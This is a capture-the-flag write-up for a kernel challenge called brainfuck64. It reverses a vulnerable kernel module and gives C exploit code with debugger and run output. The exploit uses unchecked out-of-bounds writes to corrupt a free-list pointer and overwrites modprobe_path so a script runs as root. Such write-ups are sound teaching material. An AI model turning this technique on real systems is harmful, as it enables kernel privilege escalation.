Points: 1065 Solves: 5

Gabriel Shear: Do you know what the problem with Hollywood is? They make shit. (Except our new kernel-optimized brainfuck64 variant)

Attachment: brainfuck64.tar.gz xpl.py pwn.c

▄▄▄▄     █████▒▄████▄   ██ ▄█▀
▓█████▄ ▓██   ▒▒██▀ ▀█   ██▄█▒ 
▒██▒ ▄██▒████ ░▒▓█    ▄ ▓███▄░ 
▒██░█▀  ░▓█▒  ░▒▓▓▄ ▄██▒▓██ █▄ 
░▓█  ▀█▓░▒█░   ▒ ▓███▀ ░▒██▒ █▄
░▒▓███▀▒ ▒ ░   ░ ░▒ ▒  ░▒ ▒▒ ▓▒
▒░▒   ░  ░       ░  ▒   ░ ░▒ ▒░
 ░    ░  ░ ░   ░        ░ ░░ ░ 
 ░             ░ ░      ░  ░   
      ░        ░            

Now with more brainfuck in your kernel


Extracting initramfs, we’ll find a module chall.ko, which will create a device /dev/brainfuck64, that can be accessed via ioctl.

We can use that, to initialize a context object, write brainfuck code to it and execute it in kernel space (and afterwards read the output generated).

Reversing the module…

struct ProgramInfo {
    long magic;
    long size;

struct Context {
    ProgramInfo* program;
    long output_length;
    char *input;
    char *output;

void dev_write(long fd, char *buffer) {
    ProgramInfo dest; 

    dest.magic = 0;
    dest.size = 0;

    // Read program information from user buffer
    copy_from_user(&dest, buffer, 16);
    printk("[BRAINFUCK64] Verifying header\n");

    // Check header magic value
    if ( dest.magic != 0x34364642 ) {
        printk("[BRAINFUCK64] Invalid header\n);

    printk("[BRAINFUCK64] Header OK!\n");

    // Allocate context object
    ctx = kvmalloc_node(32);
    if ( ctx ) {
        // Allocate input/output buffer
        ctx->program = dest;
        ctx->output = (char*)kvmalloc_node(dest.size);
        ctx->input = kvmalloc_node(501);    

void dev_read(long fd, char *buffer)
    // Copy output buffer from brainfuck context to user buffer
    if ( ctx )
        return copy_to_user(buffer, ctx->output, ctx->output_length);

long dev_ioctl(long fd, int request, char *buffer)
    printk("[BRAINFUCK64] IOCTL\n");

    // 0xD00DC0D3 => Read brainfuck output buffer
    if ( request == 0xD00DC0D3 ) {
        dev_read(fd, buffer);
        return 0;
    // 0xAC1DC0D3 => Initialize brainfuck context
    else if ( request == 0xAC1DC0D3 ) {
        dev_write(fd, buffer);
        return 0;
    // 0xBAADC0D3 => Execute brainfuck program
    if ( request != 0xBAADC0D3 ) {        
        return 0;

    if ( !ctx ) {
        printk("[BRAINFUCK64] B64 context not initialized\n");
        return 0;

    copy_from_user(ctx->input, buffer, 500);

    if ( !ctx )
        return 0;

    printk("[BRAINFUCK64] Running brainfuck interpreter\n");

    long offset_output = 0;
    long offset_input = 0;    

    while (1) {
        cur_op = ctx->input[offset_input];

        if ( cur_op == '<' ) {
            // Move output cell left (decrease output pointer)
        else if (cur_op=='>') {
            // Move output cell right (increase output pointer)
        else if ( cur_op == ',' ) {
            // Read one byte from input
            ctx->output[offset_output++] = ctx->input[offset_input+1];
            offset_input += 2;      
        else if ( cur_op == '-' ) {
            // Decrease cell value
        else if (cur_op=='+') {
            // Increase cell value
        else if ( cur_op == '^' ) {
            // write qword from input to output
            *(long*)&ctx->output[offset_output] = *(long*)ctx->input[offset_input + 1];

            offset_input += 8;
            offset_output += 8;    
        else if ( cur_op == ']' ) {
            printk("[BRAINFUCK64] Not implemented!\n");    
        else if ( cur_op == '[') {
            printk("[BRAINFUCK64] Not implemented!\n");        
        else if (cur_op == '|') {
            printk("[BRAINFUCK64] Deprecated for the read IOCTL");        
        else {
            printk("[BRAINFUCK64] OP not recognized, exiting ...");

        if ( ++offset_input > 499 )
            return 0;
    return 0;

So, there are three different request types we can send

  • 0xAC1DC0D3 will initialize the brainfuck context and let us define the size of the output buffer.
  • 0xD00DC0D3 will copy the output buffer of the brainfuck context to a user buffer, enabling us to read the output.
  • 0xBAADC0D3 will copy a brainfuck program (max 500 bytes) from the user buffer and executes it.

I totally overlooked the ^ operator for writing a complete qword while doing this challenge, which would have made it probably much easier to write the needed values into kernel space compared to my approach, but well…

The main problem here is, that we can define the size of the output buffer, but no boundary checks are done in the interpreter, so we can walk around freely in kernel space and read and change values.

My attack plan thus was

  • Allocate a program with output buffer of size 32
  • Since the buffer isn’t initialized, we can directly read a heap address from its output buffer
  • Send a brainfuck program which will
    • walk to the FD of the next free kernel chunk
    • overwrite the FD with an arbitrary address of our choice
  • Allocate another program
    • since the allocation for context will request a 32 byte chunk our FD will be put into the bin list
    • allocating the output buffer for the context will use our corrupted FD and serve us an arbitrary chunk for it
  • Send another brainfuck program to write to the arbitrary chunk

Since the kernel has no kaslr enabled, we can use hardcoded addresses and don’t really need leaks. Thus the easiest approach to get the kernel symbols, is to extract initramfs, change the init script, so we will login as root and just grep kallsyms.

Setting up a base script for executing the different ioctl requests…

#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/mman.h>

#define DEV_READ        0xD00DC0D3
#define DEV_WRITE       0xAC1DC0D3
#define DEV_EXEC        0xBAADC0D3
#define HEADER          0x34364642

struct dev_package {
    long magic;
    long size;

int ioctl(int fp, unsigned long request, unsigned long param) {
    return syscall(16, fp, request, param);

void init_program(int fp, long size) {
    struct dev_package package;

    package.magic = HEADER;
    package.size = size;

    ioctl(fp, DEV_WRITE, &package);

void read_buffer(int fp, char *buffer) {
    ioctl(fp, DEV_READ, buffer);

void exec_code(int fp, char*buffer) {
    ioctl(fp, DEV_EXEC, buffer);

int main(int argc, char *argv) {
    int fp;

    printf("[+] Open brainfuck device\n");
    fp = open("/dev/brainfuck64", O_RDWR);

    return 0;

Leaking a heap address from the kernel (not really needed, since we don’t have kaslr, but might help when switching to remote, where addresses might be a bit off).

printf("[+] Leak heap address\n");
init_program(fp, 32);

read_buffer(fp, payload);

long current_fd = *((long*)payload) + 0x20;
printf("Current FD    : %p\n", current_fd);
$ python xpl.py 
[+] Starting local process './run.sh': pid 30089
[*] Paused (press any to continue)
[*] Compile
[*] Booting
[+] Upload: Done
[*] Switching to interactive mode
$ ./bout
[+] Open brainfuck device
[+] Leak heap address
Current FD    : 0xffff880006cd9520

Since overwriting modprobe_path went pretty well in the last kernel challenge, I decided to go for it again

ffffffff81a3f7a0 D modprobe_path

Preparing it at the start of our exploit

#define MODPROBE_PATH   0xffffffff81a3f7a0


void prepare_modprobe_exploit() {
    printf("[+] Prepare modprobe exploit\n");
    system("echo -ne '#!/bin/sh\n/bin/cat /root/flag > /home/user/flag\n/bin/chmod 777 /home/user/flag' > /home/user/p");
    system("chmod +x /home/user/p");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/dummy");
    system("chmod +x /home/user/dummy");

int main(int argc, char *argv) {
    int fp;

    printf("[+] Prepare modprobe exploit\n");


So, we’d want to overwrite the FD of the next free chunk with a pointer to modprobe_path (I pointed it 0x10 above to not interfere with FD/BK). Could have probably used the ^ operator for that, but didn’t reverse the module that far, when doing the challenge, because I already had another option in mind.

With + and - we can increase and decrease the values for every byte, and since we know the original and the destination value, I just generated a brainfuck program, which will walk over the bytes and increase/decrease them, depending how they are compared to the destination byte.

char *ptr_payload;

#define ADDOP(x) *(ptr_payload++) = x
#define STARTCODE() memset(payload, 0, 0x1000); ptr_payload = payload;

void change_value(char* src_value, char* dest_value, int size) {
    for (int i=0; i<size; ++i) {
        while (src_value[i] != dest_value[i]) {
            // Increase/decrease value until it matches destination value
            if (src_value[i] > dest_value[i]) {
            else {

        // Go to next byte

int main() {
    char payload[0x1000] = {0};

    long modprobe_addr = MODPROBE_PATH - 0x10;

    printf("Current FD    : %p\n", current_fd);
    printf("Dest FD       : %p\n", modprobe_addr);

    printf("[+] Create brainfuck code to corrupt free chunk FD\n");

    // Move to next free chunk fd pointer
    for(int i=0; i<0x20; i++)
    // Change chunk fd to point above modprobe path
    change_value((char*)&current_fd, (char*)&modprobe_addr, 8);

The generated programs could easily get bigger than 500 bytes, but that’s not really a problem, since the context will stay the same between mutliple executions, so we can just split it up into multiple buffers afterwards.

void execute_program(int fp, char *code, int code_size) {
    int cur_offset = 0;
    char send_code[512] = {0};

    while(cur_offset < code_size) {
        memset(send_code, 0, 512);

        int copy_size = code_size-cur_offset;

        if (copy_size > 500)
            copy_size = 500;

        // Copy current part of code to send code
        memcpy(send_code, code+cur_offset, copy_size);

        exec_code(fp, send_code);

        cur_offset += copy_size;


printf("[+] Execute brainfuck code\n");
execute_program(fp, payload, strlen(payload));

After this was executed, the FD will now point above modprobe_path

pwndbg> x/30gx 0xffff880000204520
0xffff880000204520:	0xffffffff81a3f790	0x67870775ba34092c  <== FD
0xffff880000204530:	0xc1b70fc8d6204989	0x6ed39672ada07956
0xffff880000204540:	0xffff880000204560	0x2ee7a4d492a3e749
0xffff880000204550:	0x6bd09a69964b19ed	0xe83666d4a7d61ec2
0xffff880000204560:	0xffff880000204580	0xcb9dde3a026d1ee9
0xffff880000204570:	0x0a7383ccb98dde9d	0x1f4e6480b4dce7d8

pwndbg> x/30gx 0xffffffff81a3f790
0xffffffff81a3f790:	0x0000000000000000	0x0000000000000000
0xffffffff81a3f7a0:	0x6f6d2f6e6962732f	0x000065626f727064  <== /sbin/modprobe
0xffffffff81a3f7b0:	0x0000000000000000	0x0000000000000000
0xffffffff81a3f7c0:	0x0000000000000000	0x0000000000000000

So, when we now allocate another brainfuck context, it will allocate 32 bytes for the context object, putting our fake FD in the bin list and then allocate another 32 byte chunk for the output buffer (which will then be served with our modprobe chunk).

printf("[+] Allocate new program chunk, output buffer pointing to modprobe path chunk\n");
init_program(fp, 32);

Now, we just need another brainfuck program to overwrite the string with the name of our exploit script, which will copy the flag to the user directory and make it readable.

printf("[+] Create brainfuck code for overwriting modprobe_path string pointing to flag copy script\n");

// Move to start of modprobe path string
for(int i=0; i<0x10; i++) 
char current_string[] = "/sbin/modprobe";
char dest_string[] =    "/home/user/p\x00\x00";
change_value(current_string, dest_string, strlen(current_string));

printf("[+] Execute overwrite brainfuck code\n");
execute_program(fp, payload, strlen(payload));
pwndbg> x/30gx 0xffffffff81a3f790
0xffffffff81a3f790:	0x0000000000000000	0x0000000000000000
0xffffffff81a3f7a0:	0x73752f656d6f682f	0x00000000702f7265
0xffffffff81a3f7b0:	0x0000000000000000	0x0000000000000000

pwndbg> x/s 0xffffffff81a3f7a0
0xffffffff81a3f7a0:	"/home/user/p"

Everything’s prepared, and we just have to trigger modprobe_path

printf("Trigger modprobe\n");
system("cat /home/user/flag");

Since the kernel will not recognize the file format of dummy, it will try to execute the file at modprobe_path (which is now our exploit script, copying the flag into the user directory).

$ python xpl.py 1
[+] Opening connection to brainfuck64-01.pwn.beer on port 31337: Done
[*] Compile
[*] Booting
[+] Upload: Done
[*] Switching to interactive mode
user@sctf:/home/user$ $ ./bout

[+] Prepare modprobe exploit
[+] Prepare modprobe exploit
[+] Open brainfuck device
[+] Leak heap address
Current FD    : 0xffff880006cd9500
Dest FD       : 0xffffffff81a3f790
[+] Create brainfuck code to corrupt free chunk FD
[+] Execute brainfuck code
[+] Allocate new program chunk, output buffer pointing to modprobe path chunk
[+] Create brainfuck code for overwriting modprobe_path string pointing to flag copy script
[+] Execute overwrite brainfuck code
Trigger modprobe
/home/user/dummy: line 1: \xff\xff\xff\xff: not found